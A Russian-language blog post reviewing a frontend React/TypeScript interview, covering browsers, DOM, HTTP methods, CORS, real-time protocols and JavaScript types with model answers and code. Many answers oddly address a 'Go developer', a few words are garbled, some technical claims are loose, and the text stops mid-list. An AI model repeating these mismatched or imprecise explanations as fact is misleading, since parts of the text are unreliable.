Перейти к основному содержимому

Собеседование Frontend на 260-290K - React/TS - Middle/Senior

· 70 мин. чтения

Сегодня мы разберём собеседование на позицию middle/senior frontend-разработчика, в ходе которого кандидат демонстрирует уверенное владение фундаментальными концепциями — от устройства браузера и DOM до методов HTTP, типизации в TypeScript и внутренних механизмов React, включая Virtual DOM и мемоизацию. В практической части он успешно решает алгоритмические задачи, реализуя сортировку, обработку путей через стек, а также собственные версии методов массива every и flat с рекурсией.

Вопрос 1. Что такое браузер и зачем он нужен?

Таймкод: 00:00:35

Ответ собеседника: Правильный. Браузер — это программа для взаимодействия с интернет-ресурсами: сайтами, страницами, изображениями, видео. Основная задача — запрашивать контент и отображать его пользователю.

Правильный ответ:

Браузер — это клиентское приложение, основная функция которого заключается в отправке HTTP/HTTPS-запросов к серверам, получении ответов и рендеринге полученного контента в удобном для пользователя виде.

Ключевые функции браузера:

  • Запрос ресурсов — отправка HTTP/HTTPS-запросов по URL-адресу, указанному пользователем или найденному в ссылках
  • Рендеринг — парсинг HTML, CSS, JavaScript и отображение результата на экране
  • Управление состоянием — поддержка cookies, localStorage, sessionStorage для сохранения данных между сессиями
  • Безопасность — проверка SSL-сертификатов, предупреждения о небезопасных сайтах, изоляция вкладок (sandboxing)

Основные компоненты браузера:

  • User Interface — адресная строка, кнопки навигации, закладки
  • Browser Engine — связывает UI и движок рендеринга
  • Rendering Engine — отображает контент (Blink в Chrome, Gecko в Firefox, WebKit в Safari)
  • Networking — обработка сетевых запросов
  • JavaScript Engine — выполнение JS-кода (V8 в Chrome, SpiderMonkey в Firefox)
  • Data Storage — localStorage, IndexedDB, cookies

Для разработчика на Go понимание работы браузера важно, так как именно серверная часть отвечает за корректную генерацию HTML, обработку CORS-запросов, работу с сессиями и оптимизацию загрузки ресурсов.

Вопрос 2. Что такое DOM (Document Object Model) в браузере?

Таймкод: 00:01:07

Ответ собеседника: Правильный. DOM — это API, представляющее HTML и XML документ в виде дерева, позволяющее JavaScript взаимодействовать со страницами: менять элементы, стили, атрибуты и структуру дерева.

Правильный ответ:

DOM (Document Object Model) — это программный интерфейс (API) для HTML и XML документов, который представляет страницу в виде древовидной структуры объектов, где каждый узел дерева — это часть документа.

Структура DOM:

Документ представляется как дерево узлов (nodes), где каждый HTML-тег становится узлом дерева. Например, для следующей разметки:

<html>
<head><title>Page</title></head>
<body>
<div class="container">
<p>Hello</p>
</div>
</body>
</html>

DOM-дерево будет выглядеть так:

Document
└── html
├── head
│ └── title
│ └── "Page"
└── body
└── div.container
└── p
└── "Hello"

Типы узлов в DOM:

  • Document — корневой узел, представляющий весь документ
  • Element — HTML-теги (div, p, span)
  • Text — текстовое содержимое внутри элементов
  • Attr — атрибуты элементов (классы, id, href)
  • Comment — HTML-комментарии

Основные операции с DOM:

  • НавигацияparentNode, childNodes, nextSibling, previousSibling
  • Поиск элементовgetElementById(), querySelector(), querySelectorAll(), getElementsByClassName()
  • МодификацияcreateElement(), appendChild(), removeChild(), insertBefore()
  • Изменение содержимогоinnerHTML, textContent, setAttribute()

Ключевые понятия:

  • Reflow (перерисовка) — пересчёт позиций и размеров элементов при изменении DOM, ресурсоёмкая операция
  • Repaint — перерисовка визуальных свойств без изменения структуры (цвет, видимость)
  • Virtual DOM — концепция, используемая в React и других фреймворках, при которой изменения сначала применяются к лёгкой копии дерева, а затем вычисляется минимальный набор изменений для реального DOM

Для серверного разработчика на Go понимание DOM важно при генерации HTML-шаблонов, оптимизации размера ответов сервера и понимании того, как клиентский код будет взаимодействовать с отрендеренной страницей.

Вопрос 3. Как разработчики обычно работают с DOM, какие методы используют?

Таймкод: 00:01:38

Ответ собеседника: Правильный. Получение элементов через getElementById, getElementsByClassName, querySelector, querySelectorAll; изменение содержимого через textContent, стили и атрибуты; добавление элементов через createElement + appendChild/insertBefore; удаление через querySelector + remove.

Правильный ответ:

Работа с DOM включает несколько категорий операций, каждая из которых имеет свои методы и паттерны.

Поиск элементов:

// Поиск по id — самый быстрый способ
const header = document.getElementById('header');

// Поиск по селектору CSS — возвращает первый найденный
const button = document.querySelector('.btn-primary');

// Поиск по селектору CSS — возвращает все найденные (NodeList)
const items = document.querySelectorAll('.list-item');

// Поиск по классу — возвращает живую коллекцию (HTMLCollection)
const cards = document.getElementsByClassName('card');

Важно понимать разницу между живыми коллекциями (HTMLCollection — автоматически обновляются при изменении DOM) и статическими (NodeList — фиксируется на момент запроса).

Изменение содержимого и свойств:

// Изменение текста
element.textContent = 'Новый текст'; // безопасно, без парсинга HTML
element.innerHTML = '<span>HTML</span>'; // с парсингом HTML (риск XSS)

// Изменение стилей
element.style.color = 'red';
element.style.backgroundColor = '#fff';

// Работа с атрибутами
element.setAttribute('data-id', '123');
element.getAttribute('data-id');
element.removeAttribute('data-id');
element.hasAttribute('data-id');

// Работа с классами
element.classList.add('active');
element.classList.remove('active');
element.classList.toggle('active');
element.classList.contains('active');

Создание и добавление элементов:

// Создание нового элемента
const newDiv = document.createElement('div');
newDiv.textContent = 'Новый блок';
newDiv.classList.add('container');

// Добавление в конец родителя
parent.appendChild(newDiv);

// Добавление перед определённым элементом
parent.insertBefore(newDiv, referenceElement);

// Современные методы (более гибкие)
parent.append(newDiv); // в конец, можно несколько элементов
parent.prepend(newDiv); // в начало
element.before(newDiv); // перед элементом
element.after(newDiv); // после элемента
element.replaceWith(newDiv); // замена элемента

Удаление элементов:

// Современный способ
element.remove();

// Классический способ (через родителя)
parent.removeChild(element);

Работа с событиями:

// Добавление обработчика
element.addEventListener('click', function(event) {
event.preventDefault();
console.log('Клик!');
});

// Удаление обработчика
const handler = () => console.log('Click');
element.addEventListener('click', handler);
element.removeEventListener('click', handler);

// Делегирование событий — обработка на родителе
document.querySelector('ul').addEventListener('click', function(event) {
if (event.target.tagName === 'LI') {
console.log('Клик по элементу списка');
}
});

Оптимизация работы с DOM:

  • Минимизация reflow — группировка изменений, использование documentFragment
  • Использование textContent вместо innerHTML когда не нужен HTML-парсинг
  • Делегирование событий — один обработчик на родителе вместо множества на дочерних элементах
// Пример использования documentFragment для минимизации reflow
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = `Item ${i}`;
fragment.appendChild(li);
}
document.querySelector('ul').appendChild(fragment); // Один reflow вместо 1000

Для серверного разработчика на Go знание этих методов помогает при генерации динамических шаблонов и понимании того, какие данные нужно передавать клиенту для корректной работы JavaScript.

Вопрос 4. Какие HTTP-методы существуют и для чего они нужны?

Таймкод: 00:02:51

Ответ собеседника: Правильный. GET — получение данных, POST — создание, PATCH/PUT — изменение, DELETE — удаление, OPTIONS — проверка разрешённых методов и заголовков (CORS preflight).

Правильный ответ:

HTTP-методы определяют тип операции, которую клиент хочет выполнить над ресурсом на сервере. Они являются основой RESTful-архитектуры и семантики веб-API.

Основные методы:

GET — получение данных

// Пример обработчика GET-запроса в Go
func getUser(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

userID := r.URL.Query().Get("id")
user, err := db.GetUser(userID)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}

w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(user)
}

GET должен быть идемпотентным и безопасным — не изменять состояние сервера. Параметры передаются в URL (query string).

POST — создание нового ресурса

func createUser(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

var user User
if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}

created, err := db.CreateUser(user)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}

w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusCreated)
json.NewEncoder(w).Encode(created)
}

POST не является идемпотентным — повторный запрос может создать дубликат. Данные передаются в теле запроса.

PUT — полное обновление ресурса

func updateUser(w http.ResponseWriter, r *http.Request) {
userID := chi.URLParam(r, "id")

var user User
if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}

user.ID = userID
updated, err := db.UpdateUser(user)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}

json.NewEncoder(w).Encode(updated)
}

PUT заменяет весь ресурс целиком. Идемпотентен — повторный запрос даёт тот же результат.

PATCH — частичное обновление ресурса

func patchUser(w http.ResponseWriter, r *http.Request) {
userID := chi.URLParam(r, "id")

var updates map[string]interface{}
if err := json.NewDecoder(r.Body).Decode(&updates); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}

updated, err := db.PatchUser(userID, updates)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}

json.NewEncoder(w).Encode(updated)
}

PATCH обновляет только указанные поля. Может быть как идемпотентным, так и нет — зависит от реализации.

DELETE — удаление ресурса

func deleteUser(w http.ResponseWriter, r *http.Request) {
userID := chi.URLParam(r, "id")

if err := db.DeleteUser(userID); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}

w.WriteHeader(http.StatusNoContent)
}

DELETE удаляет ресурс. Идемпотентен — повторное удаление того же ресурса даёт тот же результат (404 или 204).

Дополнительные методы:

HEAD — аналогичен GET, но возвращает только заголовки без тела. Используется для проверки существования ресурса и получения метаданных.

OPTIONS — запрос информации о доступных методах и настройках. Ключевой для CORS preflight-запросов.

TRACE — диагностический метод, возвращает полученный запрос обратно. Обычно отключён из соображений безопасности.

CONNECT — установка туннеля (например, для HTTPS через прокси).

Важные свойства методов:

  • Безопасность (Safe) — метод не изменяет состояние сервера: GET, HEAD, OPTIONS
  • Идемпотентность (Idempotent) — повторные запросы дают тот же результат: GET, PUT, DELETE, HEAD, OPTIONS
  • Кэшируемость (Cacheable) — ответ может быть закэширован: GET, HEAD

Для разработчика на Go критически важно корректно маршрутизировать методы в обработчиках и возвращать правильные HTTP-статусы — это основа проектирования понятных и предсказуемых API.

Вопрос 5. Что такое CORS и как он работает?

Таймкод: 00:04:39

Ответ собеседника: Правильный. CORS — механизм в браузере, использующий HTTP-заголовки для определения, может ли источник запрашивать ресурсы. Использует OPTIONS для preflight-запроса. Бэкенд настраивает разрешённые домены через заголовок Origin.

Правильный ответ:

CORS (Cross-Origin Resource Sharing) — это механизм безопасности браузера, который контролирует доступ веб-приложений к ресурсам с другого источника (origin).

Что такое Origin:

Origin — это комбинация протокола, домена и порта. Два URL считаются одного origin, если совпадают все три компонента:

https://example.com:443 ← Origin A
https://example.com:8080 ← Другой Origin (другой порт)
http://example.com:443 ← Другой Origin (другой протокол)
https://api.example.com ← Другой Origin (другой домен)

Зачем нужен CORS:

Безопасность браузера запрещает скрипту с одного origin делать запросы к другому origin (Same-Origin Policy). CORS позволяет серверу явно разрешить определённым origin обращаться к его ресурсам.

Как работает CORS:

Простые запросы (Simple Requests) — проверяются напрямую:

  • Методы: GET, HEAD, POST
  • Заголовки: Accept, Accept-Language, Content-Language, Content-Type (с ограниченными значениями)
  • Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain
GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://frontend.example.com

Сервер отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Credentials: true

Preflight-запросы — для непростых запросов браузер сначала отправляет OPTIONS:

OPTIONS /api/users HTTP/1.1
Host: api.example.com
Origin: https://frontend.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

Сервер отвечает:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

После успешного preflight браузер отправляет основной запрос.

Ключевые CORS-заголовки:

  • Access-Control-Allow-Origin — разрешённые origin (* или конкретный домен)
  • Access-Control-Allow-Methods — разрешённые HTTP-методы
  • Access-Control-Allow-Headers — разрешённые заголовки
  • Access-Control-Allow-Credentials — разрешены ли cookies и авторизационные заголовки
  • Access-Control-Max-Age — время кэширования preflight-ответа
  • Access-Control-Expose-Headers — заголовки, доступные клиентскому коду

Настройка CORS в Go:

// Ручная настройка
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")

// Проверяем разрешённые origin
allowedOrigins := map[string]bool{
"https://frontend.example.com": true,
"https://admin.example.com": true,
}

if allowedOrigins[origin] {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Max-Age", "86400")
}

// Preflight-запрос
if r.Method == http.MethodOptions {
w.WriteHeader(http.StatusNoContent)
return
}

next.ServeHTTP(w, r)
})
}

// Использование с библиотекой rs/cors
import "github.com/rs/cors"

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/users", getUsersHandler)

c := cors.New(cors.Options{
AllowedOrigins: []string{"https://frontend.example.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
MaxAge: 86400,
})

handler := c.Handler(mux)
http.ListenAndServe(":8080", handler)
}

Важные нюансы:

  • Нельзя использовать * в Access-Control-Allow-Origin при Allow-Credentials: true — браузер заблокирует такой ответ
  • CORS защищает только браузерные запросы — серверные запросы (curl, Go-клиенты) не подчиняются CORS-политике
  • Preflight-запросы добавляют задержку, поэтому важно использовать Access-Control-Max-Age для кэширования

Вопрос 6. Какие способы взаимодействия с сервером помимо HTTP/REST существуют?

Таймкод: 00:06:08

Ответ собеседника: Правильный. WebSockets — протокол для двустороннего соединения поверх TCP с постоянным открытым соединением. Используется для чатов и real-time приложений. GraphQL тоже упомянут.

Правильный ответ:

Помимо классического HTTP/REST существует несколько альтернативных подходов к клиент-серверному взаимодействию, каждый из которых решает свои задачи.

WebSockets:

WebSocket — протокол полнодуплексной связи поверх одного TCP-соединения. В отличие от HTTP, где каждый запрос открывает новое соединение, WebSocket устанавливает постоянное соединение с помощью HTTP-хендшейка, а затем переключается на бинарный протокол.

// Пример WebSocket-сервера в Go с использованием gorilla/websocket
import (
"github.com/gorilla/websocket"
"net/http"
"sync"
)

var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
// Проверка origin для безопасности
origin := r.Header.Get("Origin")
return origin == "https://frontend.example.com"
},
}

type Hub struct {
clients map[*Client]bool
broadcast chan []byte
register chan *Client
unregister chan *Client
mu sync.RWMutex
}

type Client struct {
hub *Hub
conn *websocket.Conn
send chan []byte
}

func (c *Client) readPump() {
defer func() {
c.hub.unregister <- c
c.conn.Close()
}()

for {
_, message, err := c.conn.ReadMessage()
if err != nil {
break
}
c.hub.broadcast <- message
}
}

func (c *Client) writePump() {
defer c.conn.Close()
for {
select {
case message, ok := <-c.send:
if !ok {
c.conn.WriteMessage(websocket.CloseMessage, []byte{})
return
}
if err := c.conn.WriteMessage(websocket.TextMessage, message); err != nil {
return
}
}
}
}

func (h *Hub) run() {
for {
select {
case client := <-h.register:
h.mu.Lock()
h.clients[client] = true
h.mu.Unlock()
case client := <-h.unregister:
h.mu.Lock()
if _, ok := h.clients[client]; ok {
delete(h.clients, client)
close(client.send)
}
h.mu.Unlock()
case message := <-h.broadcast:
h.mu.RLock()
for client := range h.clients {
select {
case client.send <- message:
default:
close(client.send)
delete(h.clients, client)
}
}
h.mu.RUnlock()
}
}
}

func serveWs(hub *Hub, w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
client := &Client{hub: hub, conn: conn, send: make(chan []byte, 256)}
client.hub.register <- client
go client.writePump()
go client.readPump()
}

Когда использовать WebSockets:

  • Чаты и мессенджеры
  • Онлайн-игры
  • Торговые площадки (обновление котировок)
  • Совместное редактирование документов
  • Push-уведомления

GraphQL:

GraphQL — язык запросов для API, разработанный Meta, позволяющий клиенту запрашивать именно те данные, которые ему нужны, в одном запросе.

// Пример GraphQL-схемы на Go с использованием gqlgen
// graph/schema.graphqls
type User struct {
ID string `json:"id"`
Name string `json:"name"`
Email string `json:"email"`
Posts []Post `json:"posts"`
}

type Post struct {
ID string `json:"id"`
Title string `json:"title"`
Content string `json:"content"`
}

type Query struct{}

func (r *queryResolver) User(ctx context.Context, id string) (*User, error) {
return r.DB.GetUser(id)
}

func (r *queryResolver) Users(ctx context.Context, limit *int) ([]*User, error) {
lim := 10
if limit != nil {
lim = *limit
}
return r.DB.GetUsers(lim)
}

Преимущества GraphQL:

  • Клиент определяет структуру ответа
  • Один запрос вместо множества REST-эндпоинтов
  • Строгая типизация и автогенерация документации

gRPC:

gRPC — высокопроизводительный RPC-фреймворк от Google, использующий Protocol Buffers для сериализации данных и HTTP/2 для транспорта.

// user.proto
syntax = "proto3";

service UserService {
rpc GetUser (GetUserRequest) returns (User);
rpc ListUsers (ListUsersRequest) returns (stream User);
rpc CreateUser (CreateUserRequest) returns (User);
}

message User {
string id = 1;
string name = 2;
string email = 3;
}

message GetUserRequest {
string id = 1;
}
// Серверная реализация
type server struct {
pb.UnimplementedUserServiceServer
}

func (s *server) GetUser(ctx context.Context, req *pb.GetUserRequest) (*pb.User, error) {
user, err := db.GetUser(req.Id)
if err != nil {
return nil, status.Errorf(codes.NotFound, "user not found: %v", err)
}
return &pb.User{
Id: user.ID,
Name: user.Name,
Email: user.Email,
}, nil
}

func main() {
lis, _ := net.Listen("tcp", ":50051")
s := grpc.NewServer()
pb.RegisterUserServiceServer(s, &server{})
s.Serve(lis)
}

Server-Sent Events (SSE):

Простой протокол для однонаправленной push-связи от сервера к клиенту через HTTP.

func sseHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/event-stream")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")

flusher, ok := w.(http.Flusher)
if !ok {
http.Error(w, "Streaming not supported", http.StatusInternalServerError)
return
}

for {
select {
case <-r.Context().Done():
return
case msg := <-messageChan:
fmt.Fprintf(w, "data: %s\n\n", msg)
flusher.Flush()
}
}
}

Сравнение подходов:

ПодходНаправлениеТранспортЛучше всего для
RESTКлиент → СерверHTTP/1.1CRUD-операции, простые API
WebSocketsДвунаправленныйTCP (через WS)Real-time, чаты
GraphQLКлиент → СерверHTTP/1.1Гибкие запросы, сложные данные
gRPCДвунаправленныйHTTP/2Микросервисы, внутренняя коммуникация
SSEСервер → КлиентHTTP/1.1Уведомления, потоки данных

Вопрос 7. Что такое JavaScript и зачем он нужен?

Таймкод: 00:07:13

Ответ собеседника: Правильный. JavaScript — высокоуровневый динамически типизированный язык, отвечающий за динамическую часть страницы: события, сетевые запросы, работа с файлами, cookie, localStorage. Интегрирован с HTML и CSS.

Правильный ответ:

JavaScript — это интерпретируемый, динамически типизированный язык программирования, который является основным языком программирования веб-браузеров и одной из трёх фундаментальных технологий веба наряду с HTML и CSS.

Основные характеристики JavaScript:

  • Интерпретируемый — выполняется движком браузера без предварительной компиляции
  • Динамическая типизация — тип переменной определяется во время выполнения
  • Прототипное наследование — объекты наследуют свойства друг от друга через прототипы
  • Функции как объекты первого класса — функции можно передавать как аргументы, возвращать из других функций
  • Событийно-ориентированное программирование — код реагирует на действия пользователя и события браузера

Что позволяет делать JavaScript в браузере:

Работа с DOM:

// Создание и модификация элементов
const button = document.createElement('button');
button.textContent = 'Нажми меня';
button.addEventListener('click', () => alert('Клик!'));
document.body.appendChild(button);

Сетевые запросы:

// Fetch API — современный способ отправки запросов
async function fetchUsers() {
const response = await fetch('/api/users', {
method: 'GET',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token'
}
});
const users = await response.json();
return users;
}

// Отправка данных
async function createUser(userData) {
const response = await fetch('/api/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(userData)
});
return response.json();
}

Работа с хранилищем браузера:

// localStorage — постоянное хранение
localStorage.setItem('theme', 'dark');
const theme = localStorage.getItem('theme');

// sessionStorage — хранение до закрытия вкладки
sessionStorage.setItem('token', 'abc123');

// Cookies
document.cookie = 'session_id=xyz; path=/; max-age=3600; secure; samesite=strict';

Работа с файлами:

// Чтение файлов через File API
document.getElementById('fileInput').addEventListener('change', (event) => {
const file = event.target.files[0];
const reader = new FileReader();
reader.onload = (e) => {
console.log(e.target.result);
};
reader.readAsText(file);
});

Асинхронное программирование:

// Promises
fetch('/api/data')
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error(error));

// async/await — современный синтаксис
async function loadData() {
try {
const response = await fetch('/api/data');
const data = await response.json();
return data;
} catch (error) {
console.error('Ошибка загрузки:', error);
}
}

Среда выполнения JavaScript:

JavaScript работает в однопоточной среде с циклом событий (Event Loop), который позволяет выполнять асинхронные операции без блокировки основного потока:

  1. Call Stack — стек вызовов функций
  2. Web APIs — асинхронные операции (fetch, setTimeout, DOM events)
  3. Callback Queue — очередь callback-функций
  4. Event Loop — переносит callback из очереди в стек, когда стек пуст

Для серверного разработчика на Go понимание JavaScript важно для проектирования API, которые будут удобны для клиентских приложений, а также для понимания ограничений браузерной среды (CORS, same-origin policy, асинхронность).

Вопрос 8. Какие типы данных существуют в JavaScript?

Таймкод: 00:08:14

Ответ собеседника: Неполный. Указаны 8 типов: 7 примитивных (number, string, boolean, undefined, null, symbol, bigint) и object. Упомянут bigint для больших чисел и symbol, но без деталей.

Правильный ответ:

JavaScript имеет 8 типов данных, разделённых на примитивные и ссылочные (непримитивные).

Примитивные типы (7 штук):

Number — числа с плавающей точкой двойной точности (64 бита по стандарту IEEE 754):

const integer = 42;
const float = 3.14;
const infinity = Infinity;
const notANumber = NaN;

// Максимальное безопасное целое число
Number.MAX_SAFE_INTEGER; // 9007199254740991 (2^53 - 1)
Number.MIN_SAFE_INTEGER; // -9007199254740991

BigInt — целые числа произвольной точности:

const big = 9007199254740991n; // суффикс n
const bigFromFn = BigInt("123456789012345678901234567890");

// Используется когда число превышает Number.MAX_SAFE_INTEGER
// Нельзя смешивать с Number в операциях
// 10n + 5 // TypeError

String — строки, неизменяемые:

const single = 'Hello';
const double = "World";
const template = `Length: ${single.length}`; // шаблонные строки

// Строки неизменяемы
const str = "abc";
str[0] = 'x'; // не работает, str остаётся "abc"

Boolean — логические значения true и false:

const isActive = true;
const isEmpty = false;

// Falsy значения: false, 0, "", null, undefined, NaN, 0n
// Всё остальное — truthy

Undefined — значение неинициализированной переменной:

let x;
console.log(x); // undefined
console.log(typeof x); // "undefined"

Null — намеренное отсутствие значения:

let user = null;
console.log(typeof null); // "object" — историческая ошибка языка

Symbol — уникальные неизменяемые идентификаторы:

const id1 = Symbol('id');
const id2 = Symbol('id');
console.log(id1 === id2); // false — каждый Symbol уникален

// Использование как ключ объекта
const user = {
name: 'John',
[id1]: 'secret-id'
};

// Символы игнорируются в for...in и JSON.stringify
console.log(Object.keys(user)); // ["name"]

**Встроенные Symbol (well-known Symbols):**
const arr = [1, 2, 3];
console.log(arr[Symbol.iterator]); // функция итератора

// Symbol.iterator — делает объект итерируемым
const customIterable = {
data: [10, 20, 30],
[Symbol.iterator]() {
let index = 0;
return {
next: () => {
if (index < this.data.length) {
return { value: this.data[index++], done: false };
}
return { done: true };
}
};
}
};

for (const item of customIterable) {
console.log(item); // 10, 20, 30
}

Непримитивный тип:

Object — коллекция пар ключ-значение, а также массивы, функции, даты и другие структуры:

const obj = { name: 'John', age: 30 };
const arr = [1, 2, 3];
const fn = function() {};
const date = new Date();
const regex = /pattern/;
const map = new Map();
const set = new Set();

// Все непримитивы — это Object
console.log(typeof arr); // "object"
console.log(typeof fn); // "function" (подтип object)
console.log(typeof date); // "object"

Ключевое отличие примитивов от объектов:

Примитивы хранятся по значению, объекты — по ссылке:

// Примитивы — копирование по значению
let a = 10;
let b = a;
b = 20;
console.log(a); // 10

// Объекты — копирование по ссылке
let obj1 = { x: 1 };
let obj2 = obj1;
obj2.x = 2;
console.log(obj1.x); // 2 — obj1 тоже изменился

// Поверхностное копирование
let copy = { ...obj1 }; // spread
let copy2 = Object.assign({}, obj1);

// Глубокое копирование (ограничения: не копирует функции, Symbol, circular references)
let deepCopy = JSON.parse(JSON.stringify(obj1));

Определение типа:

typeof 42; // "number"
typeof "hello"; // "string"
typeof true; // "boolean"
typeof undefined; // "undefined"
typeof null; // "object" (баг языка)
typeof {}; // "object"
typeof []; // "object"
typeof function(){}; // "function"

// Точная проверка массива
Array.isArray([]); // true

// Точная проверка null
value === null;

Вопрос 9. Что такое Symbol и BigInt в JavaScript и для чего они используются?

Таймкод: 00:08:41

Ответ собеседника: Правильный. BigInt — для целых чисел больше 2^53, используется редко. Symbol — уникальное неизменяемое примитивное значение как ключ объекта или идентификатор, чаще применялся на бэкенде.

Правильный ответ:

Ответ собеседника в целом верный, но стоит раскрыть тему глубже, особенно практические применения.

BigInt:

BigInt позволяет работать с целыми числами произвольной длины, что невозможно с обычным Number (ограничен 53 битами мантиссы).

// Создание BigInt
const fromSuffix = 9007199254740991n;
const fromConstructor = BigInt("123456789012345678901234567890");

// Ограничения
// BigInt работает только с целыми числами
// Нельзя смешивать с Number без явного приведения
// 10n + 5 // TypeError
// 10n + 5n // 15n

// Математические операции работают как ожидается
const result = 100000000000000000000n + 1n; // 100000000000000000001n

// Деление округляется к нулю
const div = 7n / 2n; // 3n, не 3.5n

// Приведение к Number (может потерять точность)
Number(9007199254740991n); // 9007199254740991

// Типичные случаи использования:
// - Финансовые расчёты с высокой точностью
// - Криптографические операции
// - Работа с временными метками в микросекундах
// - Идентификаторы, которые не помещаются в Number

Symbol:

Symbol создаёт гарантированно уникальный идентификатор, который не может конфликтовать со строковыми ключами.

// Базовое создание
const sym1 = Symbol('description');
const sym2 = Symbol('description');
console.log(sym1 === sym2); // false — всегда уникальны

// Использование как ключ объекта (основной сценарий)
const ID = Symbol('id');
const user = {
name: 'John',
[ID]: 'user-123' // скрытое свойство
};

console.log(user[ID]); // "user-123"
console.log(Object.keys(user)); // ["name"] — Symbol-ключи не видны
console.log(JSON.stringify(user)); // {"name":"John"} — игнорируется в JSON

// Это защищает от случайного перезаписи:
// Если использовать строку "id", другой код может случайно её перезаписать
// Symbol гарантирует отсутствие конфликтов

**Well-known Symbols (встроенные символы):**

// Symbol.iterator — делает объект итерируемым
const range = {
from: 1,
to: 5,
[Symbol.iterator]() {
let current = this.from;
return {
next: () => current <= this.to
? { value: current++, done: false }
: { done: true }
};
}
};
for (const num of range) {
console.log(num); // 1, 2, 3, 4, 5
}

// Symbol.toPrimitive — управляет приведением типов
const money = {
cents: 1500,
[Symbol.toPrimitive](hint) {
if (hint === 'number') return this.cents / 100;
if (hint === 'string') return `$${this.cents / 100}`;
return this.cents / 100;
}
};
console.log(+money); // 15
console.log(`${money}`); // "$15"

// Symbol.toStringTag — кастомизация Object.prototype.toString
class MyCollection {
get [Symbol.toStringTag]() {
return 'MyCollection';
}
}
console.log(Object.prototype.toString.call(new MyCollection()));
// "[object MyCollection]"

// Symbol.hasInstance — кастомизация instanceof
class Even {
static [Symbol.hasInstance](num) {
return typeof num === 'number' && num % 2 === 0;
}
}
console.log(4 instanceof Even); // true
console.log(3 instanceof Even); // false

Практические сценарии для Symbol:

  • Добавление метаданных к объектам без риска конфликта имён
  • Создание «приватных» свойств (не видны в for...in, Object.keys, JSON.stringify)
  • Реализация паттернов через well-known Symbols
  • Созгистрация глобальных Symbol через Symbol.for('key') — для обмена символами между разными частями приложения
// Глобальные Symbol
const globalSym1 = Symbol.for('app.id');
const globalSym2 = Symbol.for('app.id');
console.log(globalSym1 === globalSym2); // true — один и тот же Symbol
console.log(Symbol.keyFor(globalSym1)); // "app.id"

Вопрос 10. Какие методы у чисел и строк в JavaScript существуют?

Таймкод: 00:09:57

Ответ собеседника: Неполный. У чисел названы toString, toFixed, Math.floor, Math.ceil, Math.round, Math.trunc, parseInt, parseFloat, Number.isFinite, Number.isInteger. У строк: toUpperCase, toLowerCase, trim, slice, charAt, indexOf, substring.

Правильный ответ:

Ответ собеседателя охватывает основные методы, но список можно значительно расширить, особенно современные методы строк.

Методы чисел:

// Преобразование в строку
(42).toString(); // "42"
(42).toString(2); // "101010" — двоичная система
(255).toString(16); // "ff" — шестнадцатеричная

// Форматирование десятичных знаков
(3.14159).toFixed(2); // "3.14"
(3.14159).toPrecision(4); // "3.142"
(123.456).toExponential(2); // "1.23e+2"

// Проверка значений
Number.isFinite(42); // true
Number.isFinite(Infinity); // false
Number.isNaN(NaN); // true
Number.isInteger(42); // true
Number.isInteger(42.5); // false
Number.isSafeInteger(9007199254740991); // true

// Методы объекта Math
Math.floor(4.7); // 4 — округление вниз
Math.ceil(4.2); // 5 — округление вверх
Math.round(4.5); // 5 — округление к ближайшему
Math.trunc(4.7); // 4 — отсечение дробной части
Math.abs(-10); // 10
Math.pow(2, 3); // 8
Math.sqrt(16); // 4
Math.max(1, 5, 3); // 5
Math.min(1, 5, 3); // 1
Math.random(); // случайное число [0, 1)

// Парсинг строк в числы
parseInt("42px"); // 42
parseInt("ff", 16); // 255
parseFloat("3.14em"); // 3.14
Number("42"); // 42 — строже, не игнорирует символы

// Современные методы
Math.sign(-5); // -1
Math.sign(0); // 0
Math.sign(5); // 1
Math.hypot(3, 4); // 5 — гипотенуза
Math.log2(8); // 3
Math.log10(100); // 2

Методы строк:

const str = "Hello, World!";

// Регистр
str.toUpperCase(); // "HELLO, WORLD!"
str.toLowerCase(); // "hello, world!"

// Поиск
str.indexOf("World"); // 7
